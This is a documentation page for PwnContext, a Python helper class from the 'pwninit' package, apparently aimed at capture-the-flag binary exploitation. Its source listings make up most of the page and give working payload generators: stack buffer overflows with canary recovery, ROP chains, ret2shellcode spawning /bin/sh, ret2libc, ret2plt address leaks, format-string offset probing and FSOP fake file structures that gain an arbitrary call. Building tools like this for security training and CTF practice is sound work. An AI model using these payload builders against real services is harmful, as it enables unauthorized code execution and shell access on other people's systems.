Skip to content

Pwncontext

PwnContext

A context class for managing pwntools state, including IO, ELF binaries, libc libraries, and common exploitation helpers.

Attributes:

Name Type Description
io IOContext

The active IO connection or process context.

config Config

The configuration setup containing binaries and paths.

elf ELF

The binary used.

libc ELF

The libc used.

libs ELF

The libs used.

Source code in src/pwninit/pwncontext.py
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
class PwnContext:
    """A context class for managing pwntools state, including IO, ELF binaries,
    libc libraries, and common exploitation helpers.

    Attributes:
        io (IOContext): The active IO connection or process context.
        config (Config): The configuration setup containing binaries and paths.
        elf (ELF): The binary used.
        libc (ELF): The libc used.
        libs (ELF): The libs used.
    """

    def __init__(
        self,
        io: IOContext,
    ) -> None:
        """Initializes the PwnContext with tracking objects and wraps target binaries as ELF objects.

        Args:
            io (IOContext): The current process execution or remote network context wrapper.
        """
        self.io = io
        self.config = io.config

        self._offset = None
        self._canary = None

        self._elf = ELF(io.config.binary) if isinstance(io.config.binary, (str, bytes)) else io.config.binary
        self._libc = ELF(io.config.libc) if isinstance(io.config.libc, (str, bytes)) else io.config.libc        
        self._libs = [
            ELF(lib) if isinstance(lib, (str, bytes)) else lib 
            for lib in (io.config.libs or [])
        ]

    @property
    def elf(self) -> ELF:
        return self._elf

    @property
    def libc(self) -> ELF:
        return self._libc

    @property
    def libs(self) -> list:
        return self._libs

    @property
    def canary(self) -> int | None:
        """Get the canary value for the current process from /proc auxv.

        Returns:
            int | None: The canary value, or None if not found/applicable.
        """
        if self._canary: return self._canary
        if not self.elf.canary: log.warn("no canary in this binary"); return self._canary
        if not self.io.proc: log.warn("impossible to retrieve canary without local proc"); return self._canary

        auxv = open(f"/proc/{self.io.proc.pid}/auxv", "rb").read()
        word = context.bytes
        for i in range(0, len(auxv), 2 * word):
            a_type = u64(auxv[i : i + word])
            a_val = u64(auxv[i + word : i + 2 * word])
            if a_type == 25:
                self.canary = u64((b"\x00" + self.io.proc.readmem(a_val + 1, 7)))
                break

        return self._canary

    @canary.setter
    def canary(self, new_canary: int):
        self._canary = new_canary

    @property
    def offset(self) -> int | None:
        """Find the buffer overflow offset dynamically by sending a cyclic pattern
        and reading the corefile fault address.

        Returns:
            int | None: The found offset length.
        """
        if self._offset: return self._offset

        context.delete_corefiles = True
        self.io.sl(cyclic(1000))
        self.io.poll(block=True)
        core = self.io.corefile
        self._offset = cyclic_find(core.fault_addr)
        log.info(f"offset found: {self._offset}")
        return self._offset

    @offset.setter
    def offset(self, new_offset: int):
        self._offset = new_offset

    def __find_sym(self, symbol: str | int, bin_obj: ELF) -> int:
        if isinstance(symbol, int):
            return symbol
        elif "+" in symbol:
            func, off = symbol.split("+")
            return bin_obj.sym[func] + int(off, 0)
        elif "-" in symbol:
            func, off = symbol.split("-")
            return bin_obj.sym[func] - int(off, 0)
        else:
            return bin_obj.sym[symbol]

    def resolve(self, symbol: str | int) -> int:
        """Resolve a symbol or offset expression within the known ELF context,
        libc, or extra libraries.

        Args:
            symbol (str | int): The symbol name, structural math, or absolute address.

        Returns:
            int: The resolved memory address.

        Example:

            >>> ctx.resolve("main")
            0x401196
            >>> ctx.resolve("system+0x10")
            0x7ffff7e12390
        """
        for b in [self.libc, self.elf] + self.libs:
            try:
                return self.__find_sym(symbol, b)
            except KeyError:
                pass

        log.error(f"{symbol} not found !")

    def check_leak(self, leaked: int) -> tuple:
        """Match a raw memory leak value against known virtual memory regions.

        Args:
            leaked (int): The raw memory address leaked.

        Returns:
            tuple: A (name, base_address) pair if a region is matched, else (None, None).
        """
        if not self.io or not self.io.proc:
            return None, None

        if self.canary and hex(leaked) in hex(self.canary):
            return "canary", self.canary

        libs = self.io.libs()
        for m in self.io.maps():
            if not (m.start <= leaked <= m.end):
                continue

            name = os.path.basename(m.path[1:-1] if '[' in m.path else m.path).partition(".")[0]
            base = m.address 
            if m.path in libs:
                base = libs[m.path]
            return name, base

        return None, None

    def find_leak(self, buf: int | str | bytes) -> int:
        """Extract and isolate an address integer out of standard text or binary buffers.

        Args:
            buf (int | str | bytes): Raw buffer chunk containing the potential leak.

        Returns:
            int: The isolated absolute leak value.

        Example:

            >>> find_leak(b'\\x00\\x00\\x00\\x9d{\\xdar\\x90 \\xf2\\x10.\\xf2\\x92\\xff\\x7f\\x00\\x00\\xeeo\\x9f\\r\\x1bV\\x00\\x00\\xd3\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00vu?\\xfb\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9d{\\xdar\\x90 \\xf2\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa8LU?\\xfb\\x7f\\x00\\x00\\x10/\\xf2\\x92\\xff\\x7f\\x00\\x00zo\\x9f\\r\\x1bV\\x00\\x000\\xf0p?\\x01\\x00\\x00\\x00(/')
                [*] [canary]: leak[3:10]
                [*] [canary]: leak[4:10]
                [*] [stack]: leak[10:16]
                [*] [boring]: leak[18:24]
                [*] [ld-2]: leak[34:40]
                [*] [canary]: leak[51:58]
                [*] [canary]: leak[52:58]
                [*] [libc-2]: leak[66:72]
                [*] [stack]: leak[74:80]
                [*] [boring]: leak[82:88]
        """
        if isinstance(buf, int):
            return buf

        buf = encode(buf)
        if m := re.search(rb"0x[0-9a-fA-F]+", buf):
            leak_val = int(m.group(), 16)
        elif len(buf) <= 8:
            leak_val = upack(buf)
        else:
            buf = buf.rstrip(b"\n")
            for i in range(len(buf)):
                for j in range(6, 8):
                    l_val = upack(buf[i : i + j])
                    name, _ = self.check_leak(l_val)
                    if name:
                        log.info(f"[{name}]: leak[{i}:{i + j}]")
                        break
            log.warn("cannot find leak, try another way")
            exit(0)

        return leak_val

    def leak(self, leaked: int | str | bytes, offset: int = 0, name: str = "") -> int:
        """Parse, apply math adjustments, map to segments, and log an expected leak.

        Args:
            leaked (int | str | bytes): Raw string containing a leak, or the address directly.
            offset (int): Base offset value to subtract from the parsed address.
            name (str): Enforce mapping assignment to a known identifier (e.g., "libc").

        Returns:
            int: The normalized leak address value.

        Example:

            >>> stack = leak(b"b'] The address of cmd where you are writing to is: 0x7fff121e12d0'")
            [*] [stack]: 0x7fff121e12d0
            >>> hex(stack)
            0x7fff121e12d0

            >>> libc.address = leak(b"puts address: 0x7ffff7e114a0", offset=libc.sym['puts'])
        """
        base = 0
        leaked = self.find_leak(leaked) - offset

        if not name:
            name, base = self.check_leak(leaked)

        if base > 0 and leaked != base and name != 'stack':
            log.info(f"[{name}]: leak = {leaked:#x}, base = {base:#x}, offset = {leaked - base}")
        elif name:
            log.info(f"[{name}]: {leaked:#x}")
        elif not self.io:
            log.info(f"leak = {leaked:#x}")
        else:
            log.warn("no leak found")

        return leaked

    def ropchain(self, chain: dict, ret: bool = True) -> bytes:
        """Construct a compiled ROP chain given target calls and setup states.

        Args:
            chain (dict): Function labels or addresses mapped to parameter list configurations.
            ret (bool): Insert stack aligning `ret` instructions when building chains.

        Returns:
            bytes: The assembled payload sequence.

        Example:

            >>> ropchain({"puts": [0x404000], "main": []})
            b'\\xaa\\xbb...'
        """
        elfs = []
        if self.elf and (not self.elf.pie or self.elf.address):
            elfs.append(self.elf)

        if self.libc and (not self.libc.aslr or self.libc.address):
            elfs.append(self.libc)

        rop = ROP(elfs)
        if elfs and ret:
            rop.raw(rop.ret.address)

        for func, params in chain.items():
            if isinstance(func, str) and "+" in func:
                f, off = func.split("+")
                func = self.resolve(f) + int(off)

            if not isinstance(params, dict):
                rop.call(func, params)
                continue

            for value, gadget in rop.setRegisters(params):
                if isinstance(gadget, Gadget):
                    rop.raw(gadget)
                else:
                    rop.raw(value)

            rop.call(func)

        rop.raw(rop.ret.address)
        log.info(f"ROP :\n{rop.dump()}")
        return rop.chain()

    def bof(self, data: bytes | int, opt: dict = {}, bp: int = 0, **kwargs) -> bytes:
        """Generate a basic buffer overflow payload injecting optional canary or base pointers based on binary arch.

        Args:
            data (bytes | int): Intended execution payload control destination (e.g., return address).
            opt (dict): Specific index manual offset dictionary adjustments.
            bp (int): Target base pointer (RBP/EBP) replacement value.

        Returns:
            bytes: Fully structured flat stream buffer padding.

        Example:

            >>> ctx.offset = 40
            >>> bof(0x401196)
            b'aaaabaaacaaadaaaeaaafaaa...\\x96\\x11\\x40\\x00\\x00\\x00\\x00\\x00'
        """
        offset_val = self.offset
        canary_val = self.canary

        if opt is None:
            opt = {}

        if canary_val:
            opt |= {offset_val - context.bytes * 2: canary_val}

        if bp:
            opt |= {offset_val - context.bytes: bp}

        return flat({offset_val: data} | opt, **kwargs)

    def ret2shellcode(self, addr: int | str, ret: bool = True, **kwargs) -> bytes:
        """Generate a shellcode and a ropchain to call it.

        Args:
            addr (int | str): Target point reference calculation indicator context.
            ret (bool): Include initial stack alignment layout properties.

        Returns:
            bytes: Complete payload string bytes.

        Example:

            >>> ret2shellcode("bss_target")
            b'\\x90\\x90...jhh///sh/bin...'
        """
        addr = self.resolve(addr)
        shellcode = asm(shellcraft.sh())
        stub = (
            asm("sub esp, 0x1000")
            if context.bits == 32
            else asm("sub rsp, 0x1000")
        )
        shellcode = stub + shellcode
        padding_len = (
            self.offset
            - context.bytes * (self.elf.canary + 1)
            - len(shellcode)
        )
        padding = asm("nop") * padding_len
        addr += len(padding) // 2
        payload = self.ropchain({addr: []}, ret)
        return self.bof(payload, opt={0: [padding, shellcode]}, **kwargs)

    def ret2win(self, win: str | int, params: list | tuple = [], ret: bool = True, **kwargs) -> bytes:
        """Generate a ret2win payload.

        Args:
            win (str | int): Name identifier or absolute function target.
            params (list | tuple): Argument values to associate onto target registers.
            ret (bool): Append structural target ret properties.

        Returns:
            bytes: Assembled operational byte blocks.

        Example:

            >>> ret2win("win_secret_func", params=[0xdeadbeef, 0xcafebabe])
        """
        if params is None:
            params = []
        addr = self.resolve(win)
        payload = self.ropchain({addr: params}, ret)
        return self.bof(payload, **kwargs)

    def ret2libc(self, ret: bool = True, **kwargs) -> bytes:
        """Generate a ret2libc payload.

        Example:

            >>> ret2libc()
        """
        system = self.libc.sym["system"]
        payload = self.ropchain({system: [self.binsh()]}, ret)
        return self.bof(payload, **kwargs)

    def ret2plt(self, func: str | int = "puts", ret2main: str | int = "main", ret: bool = True, **kwargs) -> bytes:
        """Generate a payload that call func(got[func]), usefull to defeat PIE.

        Args:
            func (str | int): PLT mapping reference to extract details via.
            ret2main (str | int): Destination structure to route towards immediately following.

        Example:

            >>> ret2plt(func="printf", ret2main="main")
        """
        func_plt = self.elf.plt[func]
        func_got = self.elf.got[func]
        if ret2main:
            main_addr = self.resolve(ret2main)
            payload = self.ropchain({func_plt: [func_got], main_addr: []}, ret)
        else:
            payload = self.ropchain({func_plt: [func_got]}, ret)
        return self.bof(payload, **kwargs)

    def format_string(self, n: int = 100) -> bytes:
        """Find the format string offset.

        Example:

            >>> format_string(n=50)
            6
        """
        payload = "A" * context.bytes + ".%p" * n
        self.io.send(payload)
        output = self.io.recv().split(b".")
        log.info(f"format string : {output}")
        ascii_hex_target = "0x" + "41" * context.bytes
        return output.index(ascii_hex_target.encode())

    def fsopsh(
        self,
        func: str | int = "system",
        arg: bytes | str = b"/bin/sh\0",
        file: str | int = "_IO_2_1_stdout_",
        trigger: int = XSPUTN,
        lock: int = 0x0,
        chain: int = 0x0,
    ) -> bytes:
        """Generate file stream objects to get an arb call.

        Args:
            func (str | int): Target destination routine location address values.
            arg (bytes | str): Variable string argument properties.
            file (str | int): Stream object description table base points.

        Example:

            >>> fsopsh(func="win", file="_IO_2_1_stderr_")
        """
        func = self.resolve(func)
        file = self.resolve(file)
        arg = encode(arg)
        lock = lock or file + 0x800

        return flat(
            {
                0x00: [0x3B01010101010101, arg],
                0x68: chain,
                0x78: -1,
                0x88: lock,
                0x90: -1,
                0xA0: file,
                0xD0: func,
                0xD8: self.libc.sym["_IO_wfile_jumps"] - (trigger - OVERFLOW),
                0xE0: file + (0xD0 - 0x68),
            },
            filler=b"\0",
        )

    def binsh(self) -> int:
        """Locate the string constant value of `/bin/sh` matching references across libc targets."""
        return next(self.libc.search(b"/bin/sh\0"))

canary property writable

Get the canary value for the current process from /proc auxv.

Returns:

Type Description
int | None

int | None: The canary value, or None if not found/applicable.

offset property writable

Find the buffer overflow offset dynamically by sending a cyclic pattern and reading the corefile fault address.

Returns:

Type Description
int | None

int | None: The found offset length.

__init__(io)

Initializes the PwnContext with tracking objects and wraps target binaries as ELF objects.

Parameters:

Name Type Description Default
io IOContext

The current process execution or remote network context wrapper.

required
Source code in src/pwninit/pwncontext.py
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def __init__(
    self,
    io: IOContext,
) -> None:
    """Initializes the PwnContext with tracking objects and wraps target binaries as ELF objects.

    Args:
        io (IOContext): The current process execution or remote network context wrapper.
    """
    self.io = io
    self.config = io.config

    self._offset = None
    self._canary = None

    self._elf = ELF(io.config.binary) if isinstance(io.config.binary, (str, bytes)) else io.config.binary
    self._libc = ELF(io.config.libc) if isinstance(io.config.libc, (str, bytes)) else io.config.libc        
    self._libs = [
        ELF(lib) if isinstance(lib, (str, bytes)) else lib 
        for lib in (io.config.libs or [])
    ]

binsh()

Locate the string constant value of /bin/sh matching references across libc targets.

Source code in src/pwninit/pwncontext.py
472
473
474
def binsh(self) -> int:
    """Locate the string constant value of `/bin/sh` matching references across libc targets."""
    return next(self.libc.search(b"/bin/sh\0"))

bof(data, opt={}, bp=0, **kwargs)

Generate a basic buffer overflow payload injecting optional canary or base pointers based on binary arch.

Parameters:

Name Type Description Default
data bytes | int

Intended execution payload control destination (e.g., return address).

required
opt dict

Specific index manual offset dictionary adjustments.

{}
bp int

Target base pointer (RBP/EBP) replacement value.

0

Returns:

Name Type Description
bytes bytes

Fully structured flat stream buffer padding.

Example:

>>> ctx.offset = 40
>>> bof(0x401196)
b'aaaabaaacaaadaaaeaaafaaa...\x96\x11\x40\x00\x00\x00\x00\x00'
Source code in src/pwninit/pwncontext.py
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
def bof(self, data: bytes | int, opt: dict = {}, bp: int = 0, **kwargs) -> bytes:
    """Generate a basic buffer overflow payload injecting optional canary or base pointers based on binary arch.

    Args:
        data (bytes | int): Intended execution payload control destination (e.g., return address).
        opt (dict): Specific index manual offset dictionary adjustments.
        bp (int): Target base pointer (RBP/EBP) replacement value.

    Returns:
        bytes: Fully structured flat stream buffer padding.

    Example:

        >>> ctx.offset = 40
        >>> bof(0x401196)
        b'aaaabaaacaaadaaaeaaafaaa...\\x96\\x11\\x40\\x00\\x00\\x00\\x00\\x00'
    """
    offset_val = self.offset
    canary_val = self.canary

    if opt is None:
        opt = {}

    if canary_val:
        opt |= {offset_val - context.bytes * 2: canary_val}

    if bp:
        opt |= {offset_val - context.bytes: bp}

    return flat({offset_val: data} | opt, **kwargs)

check_leak(leaked)

Match a raw memory leak value against known virtual memory regions.

Parameters:

Name Type Description Default
leaked int

The raw memory address leaked.

required

Returns:

Name Type Description
tuple tuple

A (name, base_address) pair if a region is matched, else (None, None).

Source code in src/pwninit/pwncontext.py
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
def check_leak(self, leaked: int) -> tuple:
    """Match a raw memory leak value against known virtual memory regions.

    Args:
        leaked (int): The raw memory address leaked.

    Returns:
        tuple: A (name, base_address) pair if a region is matched, else (None, None).
    """
    if not self.io or not self.io.proc:
        return None, None

    if self.canary and hex(leaked) in hex(self.canary):
        return "canary", self.canary

    libs = self.io.libs()
    for m in self.io.maps():
        if not (m.start <= leaked <= m.end):
            continue

        name = os.path.basename(m.path[1:-1] if '[' in m.path else m.path).partition(".")[0]
        base = m.address 
        if m.path in libs:
            base = libs[m.path]
        return name, base

    return None, None

find_leak(buf)

Extract and isolate an address integer out of standard text or binary buffers.

Parameters:

Name Type Description Default
buf int | str | bytes

Raw buffer chunk containing the potential leak.

required

Returns:

Name Type Description
int int

The isolated absolute leak value.

Example:

>>> find_leak(b'\x00\x00\x00\x9d{\xdar\x90 \xf2\x10.\xf2\x92\xff\x7f\x00\x00\xeeo\x9f\r\x1bV\x00\x00\xd3\x05\x00\x00\x00\x00\x00\x00\x00vu?\xfb\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9d{\xdar\x90 \xf2\x01\x00\x00\x00\x00\x00\x00\x00\xa8LU?\xfb\x7f\x00\x00\x10/\xf2\x92\xff\x7f\x00\x00zo\x9f\r\x1bV\x00\x000\xf0p?\x01\x00\x00\x00(/')
    [*] [canary]: leak[3:10]
    [*] [canary]: leak[4:10]
    [*] [stack]: leak[10:16]
    [*] [boring]: leak[18:24]
    [*] [ld-2]: leak[34:40]
    [*] [canary]: leak[51:58]
    [*] [canary]: leak[52:58]
    [*] [libc-2]: leak[66:72]
    [*] [stack]: leak[74:80]
    [*] [boring]: leak[82:88]
Source code in src/pwninit/pwncontext.py
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
def find_leak(self, buf: int | str | bytes) -> int:
    """Extract and isolate an address integer out of standard text or binary buffers.

    Args:
        buf (int | str | bytes): Raw buffer chunk containing the potential leak.

    Returns:
        int: The isolated absolute leak value.

    Example:

        >>> find_leak(b'\\x00\\x00\\x00\\x9d{\\xdar\\x90 \\xf2\\x10.\\xf2\\x92\\xff\\x7f\\x00\\x00\\xeeo\\x9f\\r\\x1bV\\x00\\x00\\xd3\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00vu?\\xfb\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9d{\\xdar\\x90 \\xf2\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa8LU?\\xfb\\x7f\\x00\\x00\\x10/\\xf2\\x92\\xff\\x7f\\x00\\x00zo\\x9f\\r\\x1bV\\x00\\x000\\xf0p?\\x01\\x00\\x00\\x00(/')
            [*] [canary]: leak[3:10]
            [*] [canary]: leak[4:10]
            [*] [stack]: leak[10:16]
            [*] [boring]: leak[18:24]
            [*] [ld-2]: leak[34:40]
            [*] [canary]: leak[51:58]
            [*] [canary]: leak[52:58]
            [*] [libc-2]: leak[66:72]
            [*] [stack]: leak[74:80]
            [*] [boring]: leak[82:88]
    """
    if isinstance(buf, int):
        return buf

    buf = encode(buf)
    if m := re.search(rb"0x[0-9a-fA-F]+", buf):
        leak_val = int(m.group(), 16)
    elif len(buf) <= 8:
        leak_val = upack(buf)
    else:
        buf = buf.rstrip(b"\n")
        for i in range(len(buf)):
            for j in range(6, 8):
                l_val = upack(buf[i : i + j])
                name, _ = self.check_leak(l_val)
                if name:
                    log.info(f"[{name}]: leak[{i}:{i + j}]")
                    break
        log.warn("cannot find leak, try another way")
        exit(0)

    return leak_val

format_string(n=100)

Find the format string offset.

Example:

>>> format_string(n=50)
6
Source code in src/pwninit/pwncontext.py
417
418
419
420
421
422
423
424
425
426
427
428
429
430
def format_string(self, n: int = 100) -> bytes:
    """Find the format string offset.

    Example:

        >>> format_string(n=50)
        6
    """
    payload = "A" * context.bytes + ".%p" * n
    self.io.send(payload)
    output = self.io.recv().split(b".")
    log.info(f"format string : {output}")
    ascii_hex_target = "0x" + "41" * context.bytes
    return output.index(ascii_hex_target.encode())

fsopsh(func='system', arg=b'/bin/sh\x00', file='_IO_2_1_stdout_', trigger=XSPUTN, lock=0, chain=0)

Generate file stream objects to get an arb call.

Parameters:

Name Type Description Default
func str | int

Target destination routine location address values.

'system'
arg bytes | str

Variable string argument properties.

b'/bin/sh\x00'
file str | int

Stream object description table base points.

'_IO_2_1_stdout_'

Example:

>>> fsopsh(func="win", file="_IO_2_1_stderr_")
Source code in src/pwninit/pwncontext.py
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
def fsopsh(
    self,
    func: str | int = "system",
    arg: bytes | str = b"/bin/sh\0",
    file: str | int = "_IO_2_1_stdout_",
    trigger: int = XSPUTN,
    lock: int = 0x0,
    chain: int = 0x0,
) -> bytes:
    """Generate file stream objects to get an arb call.

    Args:
        func (str | int): Target destination routine location address values.
        arg (bytes | str): Variable string argument properties.
        file (str | int): Stream object description table base points.

    Example:

        >>> fsopsh(func="win", file="_IO_2_1_stderr_")
    """
    func = self.resolve(func)
    file = self.resolve(file)
    arg = encode(arg)
    lock = lock or file + 0x800

    return flat(
        {
            0x00: [0x3B01010101010101, arg],
            0x68: chain,
            0x78: -1,
            0x88: lock,
            0x90: -1,
            0xA0: file,
            0xD0: func,
            0xD8: self.libc.sym["_IO_wfile_jumps"] - (trigger - OVERFLOW),
            0xE0: file + (0xD0 - 0x68),
        },
        filler=b"\0",
    )

leak(leaked, offset=0, name='')

Parse, apply math adjustments, map to segments, and log an expected leak.

Parameters:

Name Type Description Default
leaked int | str | bytes

Raw string containing a leak, or the address directly.

required
offset int

Base offset value to subtract from the parsed address.

0
name str

Enforce mapping assignment to a known identifier (e.g., "libc").

''

Returns:

Name Type Description
int int

The normalized leak address value.

Example:

>>> stack = leak(b"b'] The address of cmd where you are writing to is: 0x7fff121e12d0'")
[*] [stack]: 0x7fff121e12d0
>>> hex(stack)
0x7fff121e12d0

>>> libc.address = leak(b"puts address: 0x7ffff7e114a0", offset=libc.sym['puts'])
Source code in src/pwninit/pwncontext.py
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
def leak(self, leaked: int | str | bytes, offset: int = 0, name: str = "") -> int:
    """Parse, apply math adjustments, map to segments, and log an expected leak.

    Args:
        leaked (int | str | bytes): Raw string containing a leak, or the address directly.
        offset (int): Base offset value to subtract from the parsed address.
        name (str): Enforce mapping assignment to a known identifier (e.g., "libc").

    Returns:
        int: The normalized leak address value.

    Example:

        >>> stack = leak(b"b'] The address of cmd where you are writing to is: 0x7fff121e12d0'")
        [*] [stack]: 0x7fff121e12d0
        >>> hex(stack)
        0x7fff121e12d0

        >>> libc.address = leak(b"puts address: 0x7ffff7e114a0", offset=libc.sym['puts'])
    """
    base = 0
    leaked = self.find_leak(leaked) - offset

    if not name:
        name, base = self.check_leak(leaked)

    if base > 0 and leaked != base and name != 'stack':
        log.info(f"[{name}]: leak = {leaked:#x}, base = {base:#x}, offset = {leaked - base}")
    elif name:
        log.info(f"[{name}]: {leaked:#x}")
    elif not self.io:
        log.info(f"leak = {leaked:#x}")
    else:
        log.warn("no leak found")

    return leaked

resolve(symbol)

Resolve a symbol or offset expression within the known ELF context, libc, or extra libraries.

Parameters:

Name Type Description Default
symbol str | int

The symbol name, structural math, or absolute address.

required

Returns:

Name Type Description
int int

The resolved memory address.

Example:

>>> ctx.resolve("main")
0x401196
>>> ctx.resolve("system+0x10")
0x7ffff7e12390
Source code in src/pwninit/pwncontext.py
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
def resolve(self, symbol: str | int) -> int:
    """Resolve a symbol or offset expression within the known ELF context,
    libc, or extra libraries.

    Args:
        symbol (str | int): The symbol name, structural math, or absolute address.

    Returns:
        int: The resolved memory address.

    Example:

        >>> ctx.resolve("main")
        0x401196
        >>> ctx.resolve("system+0x10")
        0x7ffff7e12390
    """
    for b in [self.libc, self.elf] + self.libs:
        try:
            return self.__find_sym(symbol, b)
        except KeyError:
            pass

    log.error(f"{symbol} not found !")

ret2libc(ret=True, **kwargs)

Generate a ret2libc payload.

Example:

>>> ret2libc()
Source code in src/pwninit/pwncontext.py
386
387
388
389
390
391
392
393
394
395
def ret2libc(self, ret: bool = True, **kwargs) -> bytes:
    """Generate a ret2libc payload.

    Example:

        >>> ret2libc()
    """
    system = self.libc.sym["system"]
    payload = self.ropchain({system: [self.binsh()]}, ret)
    return self.bof(payload, **kwargs)

ret2plt(func='puts', ret2main='main', ret=True, **kwargs)

Generate a payload that call func(got[func]), usefull to defeat PIE.

Parameters:

Name Type Description Default
func str | int

PLT mapping reference to extract details via.

'puts'
ret2main str | int

Destination structure to route towards immediately following.

'main'

Example:

>>> ret2plt(func="printf", ret2main="main")
Source code in src/pwninit/pwncontext.py
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
def ret2plt(self, func: str | int = "puts", ret2main: str | int = "main", ret: bool = True, **kwargs) -> bytes:
    """Generate a payload that call func(got[func]), usefull to defeat PIE.

    Args:
        func (str | int): PLT mapping reference to extract details via.
        ret2main (str | int): Destination structure to route towards immediately following.

    Example:

        >>> ret2plt(func="printf", ret2main="main")
    """
    func_plt = self.elf.plt[func]
    func_got = self.elf.got[func]
    if ret2main:
        main_addr = self.resolve(ret2main)
        payload = self.ropchain({func_plt: [func_got], main_addr: []}, ret)
    else:
        payload = self.ropchain({func_plt: [func_got]}, ret)
    return self.bof(payload, **kwargs)

ret2shellcode(addr, ret=True, **kwargs)

Generate a shellcode and a ropchain to call it.

Parameters:

Name Type Description Default
addr int | str

Target point reference calculation indicator context.

required
ret bool

Include initial stack alignment layout properties.

True

Returns:

Name Type Description
bytes bytes

Complete payload string bytes.

Example:

>>> ret2shellcode("bss_target")
b'\x90\x90...jhh///sh/bin...'
Source code in src/pwninit/pwncontext.py
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
def ret2shellcode(self, addr: int | str, ret: bool = True, **kwargs) -> bytes:
    """Generate a shellcode and a ropchain to call it.

    Args:
        addr (int | str): Target point reference calculation indicator context.
        ret (bool): Include initial stack alignment layout properties.

    Returns:
        bytes: Complete payload string bytes.

    Example:

        >>> ret2shellcode("bss_target")
        b'\\x90\\x90...jhh///sh/bin...'
    """
    addr = self.resolve(addr)
    shellcode = asm(shellcraft.sh())
    stub = (
        asm("sub esp, 0x1000")
        if context.bits == 32
        else asm("sub rsp, 0x1000")
    )
    shellcode = stub + shellcode
    padding_len = (
        self.offset
        - context.bytes * (self.elf.canary + 1)
        - len(shellcode)
    )
    padding = asm("nop") * padding_len
    addr += len(padding) // 2
    payload = self.ropchain({addr: []}, ret)
    return self.bof(payload, opt={0: [padding, shellcode]}, **kwargs)

ret2win(win, params=[], ret=True, **kwargs)

Generate a ret2win payload.

Parameters:

Name Type Description Default
win str | int

Name identifier or absolute function target.

required
params list | tuple

Argument values to associate onto target registers.

[]
ret bool

Append structural target ret properties.

True

Returns:

Name Type Description
bytes bytes

Assembled operational byte blocks.

Example:

>>> ret2win("win_secret_func", params=[0xdeadbeef, 0xcafebabe])
Source code in src/pwninit/pwncontext.py
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
def ret2win(self, win: str | int, params: list | tuple = [], ret: bool = True, **kwargs) -> bytes:
    """Generate a ret2win payload.

    Args:
        win (str | int): Name identifier or absolute function target.
        params (list | tuple): Argument values to associate onto target registers.
        ret (bool): Append structural target ret properties.

    Returns:
        bytes: Assembled operational byte blocks.

    Example:

        >>> ret2win("win_secret_func", params=[0xdeadbeef, 0xcafebabe])
    """
    if params is None:
        params = []
    addr = self.resolve(win)
    payload = self.ropchain({addr: params}, ret)
    return self.bof(payload, **kwargs)

ropchain(chain, ret=True)

Construct a compiled ROP chain given target calls and setup states.

Parameters:

Name Type Description Default
chain dict

Function labels or addresses mapped to parameter list configurations.

required
ret bool

Insert stack aligning ret instructions when building chains.

True

Returns:

Name Type Description
bytes bytes

The assembled payload sequence.

Example:

>>> ropchain({"puts": [0x404000], "main": []})
b'\xaa\xbb...'
Source code in src/pwninit/pwncontext.py
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
